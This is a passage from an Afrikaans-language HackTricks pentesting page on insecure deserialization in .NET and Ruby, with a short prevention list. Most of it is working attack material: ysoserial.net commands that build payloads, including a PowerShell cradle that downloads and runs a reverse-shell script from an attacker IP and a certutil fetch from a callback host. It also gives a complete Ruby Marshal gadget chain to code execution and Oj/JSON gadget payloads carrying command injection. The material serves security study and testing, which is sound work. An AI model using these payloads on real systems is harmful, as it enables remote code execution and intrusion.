  • --output word gebruik om aan te dui of jy die ontginning in raw of base64 gegecodeer wil hê. Let daarop dat ysoserial.net die payload sal kodeer met UTF-16LE (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar kodeering-kompatibiliteitsprobleme hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie).

  • --plugin ysoserial.net ondersteun plugins om ontginnings vir spesifieke raamwerke soos ViewState te vervaardig.

Meer ysoserial.net parameters

  • --minify sal 'n kleiner payload bied (indien moontlik)

  • --raf -f Json.Net -c "anything" Dit sal al die gadgets aandui wat met 'n gegewe formatter (Json.Net in hierdie geval) gebruik kan word

  • --sf xml jy kan 'n gadget aandui (-g) en ysoserial.net sal soek na formatters wat "xml" bevat (hoofdlettergevoelig)

ysoserial voorbeelde om ontginnings te skep:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net het ook 'n baie interessante parameter wat help om beter te verstaan hoe elke exploit werk: --test As jy hierdie parameter aandui, sal ysoserial.net die exploit plaaslik probeer, sodat jy kan toets of jou payload korrek sal werk. Hierdie parameter is nuttig omdat jy, as jy die kode hersien, stukke kode soos die volgende een (van ObjectDataProviderGenerator.cs) sal vind:

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Dit beteken dat om die eksploit te toets, die kode serializersHelper.JsonNet_deserialize sal aanroep.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In die vorige kode is kwesbaar vir die ontploffing wat geskep is. So as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is. Daarom laat die --test parameter ons toe om te verstaan watter stukke kode kwesbaar is vir die deserialisasie-ontploffing wat ysoserial.net kan skep.

ViewState

Kyk na hierdie POST oor hoe om te probeer om die __ViewState parameter van .Net te ontplof om arbitraire kode uit te voer. As jy alreeds die geheime wat deur die slagoffer masjien gebruik word, ken, lees hierdie pos om te weet hoe om kode uit te voer.

Preventie

Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:

  • Vermy om datastrome toe te laat om hul objektipe te definieer. Gebruik DataContractSerializer of XmlSerializer wanneer moontlik.

  • Vir JSON.Net, stel TypeNameHandling op None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Vermy om JavaScriptSerializer met 'n JavaScriptTypeResolver te gebruik.

  • Beperk die tipes wat gedeserialiseer kan word, verstaan die inherente risiko's met .Net tipes, soos System.IO.FileInfo, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei.

  • Wees versigtig met tipes wat riskante eienskappe het, soos System.ComponentModel.DataAnnotations.ValidationException met sy Value eienskap, wat uitgebuit kan word.

  • Beheer tipe-instansiasie veilig om te voorkom dat aanvallers die deserialisasie-proses beïnvloed, wat selfs DataContractSerializer of XmlSerializer kwesbaar maak.

  • Implementeer witlysbeheer met 'n pasgemaakte SerializationBinder vir BinaryFormatter en JSON.Net.

  • Bly ingelig oor bekende onveilige deserialisasie-gadgets binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.

  • Isolateer potensieel riskante kode van kode met internettoegang om te voorkom dat bekende gadgets, soos System.Windows.Data.ObjectDataProvider in WPF-toepassings, aan onbetroubare databronne blootgestel word.

Verwysings

Ruby

In Ruby word serialisering gefasiliteer deur twee metodes binne die marshal biblioteek. Die eerste metode, bekend as dump, word gebruik om 'n objek na 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Omgekeerd word die tweede metode, load, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses bekend as deserialisering.

Vir die beveiliging van geserialiseerde objekte, gebruik Ruby HMAC (Hash-Based Message Authentication Code), wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X generiese deserialisering na RCE gadget ketting (meer inligting in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() metode

Soos verduidelik in hierdie kwesbaarheidsverslag, as 'n gebruiker ongesuiwerde invoer by die .send() metode van 'n ruby objek kom, laat hierdie metode toe om enige ander metode van die objek met enige parameters aan te roep.

Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Boonop, as slegs een parameter van .send() deur 'n aanvaller beheer word, soos in die vorige skrywe genoem, is dit moontlik om enige metode van die objek aan te roep wat nie argumente benodig nie of waarvan die argumente standaardwaardes het. Vir hierdie doel is dit moontlik om al die metodes van die objek te enumerate om 'n paar interessante metodes te vind wat aan daardie vereistes voldoen.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ander biblioteke

Hierdie tegniek is geneem uit hierdie blogpos.

Daar is ander Ruby-biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is (funksie om te misbruik om RCE te verkry basies):

Biblioteek

Invoergegewens

Kick-off metode binne klas

Marshal (Ruby)

Binêr

_load

Oj

JSON

hash (klas moet in hash(map) as sleutel geplaas word)

Ox

XML

hash (klas moet in hash(map) as sleutel geplaas word)

Psych (Ruby)

YAML

hash (klas moet in hash(map) as sleutel geplaas word) init_with

JSON (Ruby)

JSON

json_create ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))

Basiese voorbeeld:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy hash funksie to_s sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort onsuiwer deserialisasie kwesbaarhede bied.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

Boonop is daar gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep word, wat 'n vereiste is om 'n ander gadget te misbruik om dit in 'n volledige RCE te transformeer met iets soos:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Kontroleer vir meer besonderhede in die oorspronklike pos.

Ondersteun HackTricks

Last updated